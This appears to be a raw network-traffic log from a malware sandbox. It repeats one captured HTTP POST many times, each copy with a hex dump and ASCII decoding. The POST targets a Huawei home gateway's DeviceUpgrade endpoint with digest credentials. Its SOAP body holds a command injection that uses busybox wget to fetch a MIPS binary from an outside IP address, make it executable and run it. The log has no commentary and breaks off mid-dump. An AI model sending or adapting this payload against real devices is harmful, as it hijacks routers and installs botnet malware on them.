?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 